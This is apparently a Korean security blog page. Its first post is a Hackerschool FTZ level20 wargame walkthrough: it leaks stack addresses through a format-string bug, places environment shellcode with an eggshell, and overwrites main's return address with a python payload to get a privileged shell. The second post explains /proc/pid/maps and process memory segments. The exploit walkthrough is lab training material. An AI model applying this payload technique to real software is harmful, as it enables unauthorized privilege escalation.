shell상태와 gdb 상태에서의 ret 주소는 다릅니다.

하지만 스택상의 배치구조는 상대적으로 같습니다.

이 원리를 이용하는 겁니다.

커널 2.4이므로 환경변수의 쉘코드가 실행이 가능합니다.

먼저 eggshell을 띄웁니다.

[level20@ftz tmp]$ ./egg
Using address: 0xbffffab8
[level20@ftz tmp]$

다음 gdb상태에서 ret주소를 알아보겠습니다.

[level20@ftz tmp]$ gdb -q ../attackme
(gdb) disas main
Dump of assembler code for function main:
0x080483b8 <main+0>:    push   %ebp
0x080483b9 <main+1>:    mov    %esp,%ebp
0x080483bb <main+3>:    sub    $0x58,%esp
0x080483be <main+6>:    and    $0xfffffff0,%esp
0x080483c1 <main+9>:    mov    $0x0,%eax
0x080483c6 <main+14>:   sub    %eax,%esp
0x080483c8 <main+16>:   sub    $0x8,%esp
0x080483cb <main+19>:   push   $0xc1d
0x080483d0 <main+24>:   push   $0xc1d
0x080483d5 <main+29>:   call   0x80482f8 <setreuid>
0x080483da <main+34>:   add    $0x10,%esp
0x080483dd <main+37>:   sub    $0x4,%esp
0x080483e0 <main+40>:   pushl  0x80495c0
0x080483e6 <main+46>:   push   $0x4f
0x080483e8 <main+48>:   lea    0xffffffa8(%ebp),%eax
0x080483eb <main+51>:   push   %eax
0x080483ec <main+52>:   call   0x80482c8 <fgets>
0x080483f1 <main+57>:   add    $0x10,%esp
0x080483f4 <main+60>:   sub    $0xc,%esp
0x080483f7 <main+63>:   lea    0xffffffa8(%ebp),%eax
0x080483fa <main+66>:   push   %eax
0x080483fb <main+67>:   call   0x80482e8 <printf>
0x08048400 <main+72>:   add    $0x10,%esp
0x08048403 <main+75>:   leave
0x08048404 <main+76>:   ret
0x08048405 <main+77>:   nop
0x08048406 <main+78>:   nop
0x08048407 <main+79>:   nop
End of assembler dump.
(gdb) b *main+1
Breakpoint 1 at 0x80483b9
(gdb) r
Starting program: /home/level20/attackme

Breakpoint 1, 0x080483b9 in main ()
(gdb) x/x $esp
0xbffff1e8:     0xbffff208 <--- 이전 ebp 주소
(gdb)
0xbffff1ec:     0x40038917 <--- ret
(gdb)

ret 주소는 0xbffff1ec이고 이전 ebp주소는 0xbffff208입니다.

이 둘의 차이값은 항상 일정합니다.

차이값을 구하면 0xbffff208 - 0xbffff1ec = 0x1c

이 차이값을 잘 기억하시기 바랍니다.

그 다음 쉘 상태에서 이전 ebp주소를 구해보겠습니다.

[level20@ftz tmp]$ ../attackme
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
4f401574604009d5007825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825bfff000a80482b54000c660bffff234bffff1e88048412401591c040015360bffff208400389171 <--- ret 주소.
[level20@ftz tmp]$

포멧스트링 버그를 통해서 이전 ebp주소가 노출되었죠?

보시면 이전 ebp주소는 0xbffff208로 gdb와 같은 주소를 갖고 있습니다.

그럼 당연히 ret주소도 같습니다.

하지만 egg쉘을 취소한 후 다시 확인을 해보면...

[level20@ftz tmp]$ exit
exit
[level20@ftz tmp]$ ../attackme
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
4f401574604009d5007825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825bfff000a80482b54000c660bffffb24bffffad88048412401591c040015360bffffaf8400389171 <--- 이전 ebp주소가 다름!!!

이전 ebp주소가 0xbffffaf8로써 다름을 알수 있습니다.

이런 현상이 발생하는 이유는 egg쉘에서 수행하는 환경변수 등록때문입니다.

모든 환경변수는 스택상에 배치되는데 egg쉘의 경우 NOP코드를 비정상적으로 크게 넣습니다.

커널 2.4에서 환경변수의 크기가 비정상적으로 클 경우 스택구조가 gdb와 shell과 같아 지는 현상이 발생합니다.

가끔 egg쉘을 띄웠는데도 불구하고 ret주소가 다른 경우도 있는데 그 경우는 

환경변수의 내용을 수정했거나 argv영역의 값이 다를경우 발생합니다.

하지만 다르다고 할지라도 아까 구한 gdb에서의 이전 ebp - ret주소 차이값을 

구한 다음 shell에서 이전 ebp값을 알수 있으면 손쉽게 ret주소를 알수있습니다.

다시 egg쉘을 실행한 후 ret주소를 변경하여 쉘을 실행해 보겠습니다.

[level20@ftz tmp]$ ./egg
Using address: 0xbffffab8
[level20@ftz tmp]$

쉘에서의 ret주소는 0xbffff1ec입니다.

[level20@ftz tmp]$ (python -c 'print "\xee\xf1\xff\xbf"+"\xec\xf1\xff\xbf"+"%49143x%4$hn"+"%15033x%5$hn"';cat) | ../attackme 

...

                                                   40157460
id
uid=3101(clear) gid=3100(level20) groups=3100(level20)
my-pass
TERM environment variable not set.

clear Password is "**********************".
웹에서 등록하세요.

* 해커스쿨의 모든 레벨을 통과하신 것을 축하드립니다.
당신의 끈질긴 열정과 능숙한 솜씨에 찬사를 보냅니다.
해커스쿨에서는 실력있는 분들을 모아 연구소라는 그룹을 운영하고 있습니다.
이 메시지를 보시는 분들 중에 연구소에 관심있으신 분은 자유로운 양식의
가입 신청서를 admin@hackerschool.org로 보내주시기 바랍니다.

Clear의 권한을 획득했습니다.

--------------------------------------------------------------------------

커널 2.4는 스택의 주소가 고정적이기 때문에 스택상에 있는 주소값과 상대적인 

차이를 이용하면 얼마든지 가능합니다.

위에서 보여준 예는 main()의 리턴어드레스변조지만 포멧스트링이 일어나는 

printf의 리턴어드레스도 변조가 가능합니다.

이전 글에서 질문하신 답변을 더해드리겠습니다.

질문 : 추가로 하나만 더 질문 드릴게요..// 그렇다면, sh-3.2# 이런식으로 쉘이 뜨는건, 자식프로세스로 쉘이뜨는게 아니라, 독립된 프로세스로 쉘이 뜬다는 말씀이신건가요??

자식프로세스라는 말에 중점을 두고 읽으신것 같습니다. ^^;;

표준 입력을 요구하는 프로그램을 공격해야할 경우 파이프를 통해서 

원하는 코드를 넣어야 합니다.

다음과 같이 입력을 할 경우

printf "..." | ./vul

먼저 printf가 실행이 되고 출력되는 값을 잠시 저장하고 있습니다.

이 상태에서 vul이 실행이 됩니다.

vul에서 표준 입력을 요구할때 그때서야 printf의 출력 코드를 입력으로 넣게되고

printf는 종료가 됩니다.

이렇게 되면 다음과 같이 됩니다.

... | ./vul

즉 파이프의 연결이 해제가 됩니다.

이 상태에서 자식프로세스로 shell이 뜬다고 해도 입력을 할수 없게 됩니다.

그래서  printf "...";cat | ./vul

이렇게 실행하므로써 

cat | ./vul --> shell

cat이라는 표준 출력 프로그램을 이용해서 shell에게 명령을 내릴수있는 파이프를

연결 유지하기 위함입니다.

파이프의 연결 유지를 위해서 위와 같이 공격을 하는것입니다. ^^

저의 짧은 지식이 답변이 되었는지 모르겠습니다.

저도 pogusm님처럼 스택과 씨름할때가 기억나네요 ^^

즐거운 하루 되세요~


'System Hacking > 정리' 카테고리의 다른 글

IDA 리모트 디버깅 설정  (0) 2015.11.11
소멸자(.dtors) +4 하는 이유  (0) 2015.11.10
/proc/pid/maps  (0) 2015.11.09
; cat 을 쓰는 이유  (0) 2015.11.03
suid 동작  (0) 2015.10.30

/* 출처
 http://sosal.tistory.com/
 * made by so_Sal
 */

- 프로그램 안에서, Code segment, data segment,
                          stack segment, heap segment, .bss 등을 살펴보겠습니다.

"유닉스 계열은 모든 것이 파일, 프로세스 이다. " 라는 말을 무수히 들어보셨을 것입니다.
그렇다면 중요한 정보들이 어디에 파일로 저장되어 자리하고 있는지 알게된다면
쉽게 정보들을 찾을 수 있을 것 같습니다.

proc : process의 줄임말이며, 이곳에 프로세스의 정보들이 저장됩니다.
사용자 프로세스의 정보들을 이곳에서 얻을 수 있으며 심지어 조작도 가능하다는 점에서
/proc 파일시스템은 굉장히 유용합니다.




위 그림에서 보는바와 같이 (pstree 명령어) 모든 프로세스의 부모 프로세스는 1 (init) 프로세스입니다.
하지만 이녀석이라고 특별하지는 않습니다. ls 명령어를 쳐보니 역시 다른 프로세스와 마찬가지로
프로세스 정보들을 가지고 있는 파일들이 주루룩 뜨네요.

proc 디렉토리에서 ls 결과입니다.



/proc/self : 현재 실행되고 있는 프로세스의 정보가 담겨있는 디렉토리




그럼 프로그램을 만들어, maps에 어떤 정보들이 저장되는지 확인 해 볼까요?




실행하면, maps 주소까지 보여줍니다.



<실행결과>
Address of function main is :  0x8048414 // code segment
Address of gloval value is : 0x8049708  // data segment
Address of local value is : 0xbfcd4180  // stack

<maps> 
메모리 위치         | 권한 | offset | device | inode / path
08048000-08049000 r-xp 00000000 fd:00 3999505    /home/sosal/Desktop/trash/sleep
08049000-0804a000 rw-p 00000000 fd:00 3999505    /home/sosal/Desktop/trash/sleep
b7ef3000-b7ef5000 rw-p b7ef3000 00:00 0
b7f01000-b7f02000 rw-p b7f01000 00:00 0
bfcc1000-bfcd6000 rw-p bffea000 00:00 0          [stack]

main함수의 주소가 <maps>의 첫번째 주소 사이에 위치한 사실을 알 수 있습니다.

이 사실은 GDB와 같은 디버거를 사용하여 프로그램을 디버깅 하는경우 중요합니다.
// Code segment 영역으로, r-xp 읽기, 실행 권한이 주어져있음. (실행명령어 저장장소)

두번째, gloval value의 주소가 <maps>의 두번째 주소에 위치한 사실을 알 수 있습니다..
이곳은 data segment로, rw-p 읽기 쓰기 권한이 주어져있습니다.. (데이터 저장장소)
전역변수 이외에도 스택변수, 힙변수가 있는데 이 데이터들은 다른곳에 저장됩니다..

스택변수로 local_value는 [stack] 이라는 경로에 저장되는데,
스택은 높은주소에서 낮은주소로 내려가게됩니다..
즉, 이번 주소가 0xbfcd4180 이었다면, 다음 4바이트 변수의 주소는 0xbfcd417c 일것입니다.

다음의 소스에서 bss와 Heap segment를 살펴보겠습니다.


실행결과

Heap segment는 힙 변수를 저장합니다.
new(), malloc()와 같은 API를 통해 동적으로 할당한 메모리들이 힙 변수입니다.
malloc, new 등의 API는 brk() 세스템 호출을 통해
세그먼트 끝을 연장하여 요청받은 메모리를 할당합니다.
이 세그먼트에는 bss 섹션도 들어있는데, 초기화되지 않는 전역변수들이 저장되는곳입니다.
하지만 위 프로그램 결과에서는 bss가 힙 세그먼트에 저장되어있지 않고, 데이터 세그먼트에 있는데
전역변수의 수가 작은탓에 데이터세그먼트 끝에 사용하지 않는 공간이 생겼기 때문에
OS가 낭비되는 공간을 줄이는 과정에서 생긴 결과입니다.

readelffh bss 섹션위치를 살펴봐도, bss전역변수가 .bss 위치에 있다는것을 알 수 있습니다.


brk 포인터는 현재 설정된 데이터 세그먼트 최하위 주소이며, 인수 0을주고 sbrk() 를 호출하여 얻습니다.
(brk도 bss 전역변수와 같이 데이터 세그먼트에 저장될 수 있다.)

malloc 호출 이후에, heapseg 항목이 생긴걸로 봐서,
동적으로 세그먼트 끝을 연장했다는 사실을 알 수 있습니다.
malloc(1024) -> sbrk 포인터가 0x1000 크기만큼 증가함


======================== 추가 ======================================

http://stackoverflow.com/questions/1401359/understanding-linux-proc-id-maps



Each row in /proc/$PID/maps describes a region of contiguous virtual memory in a process or thread. Each row has the following fields:

address           perms offset  dev   inode   pathname
08048000-08056000 r-xp 00000000 03:0c 64593   /usr/sbin/gpm
  • address - This is the starting and ending address of the region in the process's address space
  • permissions - This describes how pages in the region can be accessed. There are four different permissions: read, write, execute, and shared. If read/write/execute are disabled, a '-' will appear instead of the 'r'/'w'/'x'. If a region is not shared, it is private, so a 'p' will appear instead of an 's'. If the process attempts to access memory in a way that is not permitted, a segmentation fault is generated. Permissions can be changed using the mprotect system call.
  • offset - If the region was mapped from a file (using mmap), this is the offset in the file where the mapping begins. If the memory was not mapped from a file, it's just 0.
  • device - If the region was mapped from a file, this is the major and minor device number (in hex) where the file lives.
  • inode - If the region was mapped from a file, this is the file number.
  • pathname - If the region was mapped from a file, this is the name of the file. This field is blank for anonymous mapped regions. There are also special regions with names like [heap][stack], or [vdso][vdso] stands for virtual dynamic shared object. It's used by system calls to switch to kernel mode. Here's a good article about it.

You might notice a lot of anonymous regions. These are usually created by mmap but are not attached to any file. They are used for a lot of miscellaneous things like shared memory or buffers not allocated on the heap. For instance, I think the pthread library uses anonymous mapped regions as stacks for new threads.






'System Hacking > 정리' 카테고리의 다른 글

IDA 리모트 디버깅 설정  (0) 2015.11.11
소멸자(.dtors) +4 하는 이유  (0) 2015.11.10
FSB 소멸자 주소가 아닌 ret주소를 이용한 공격  (0) 2015.11.10
; cat 을 쓰는 이유  (0) 2015.11.03
suid 동작  (0) 2015.10.30

+ Recent posts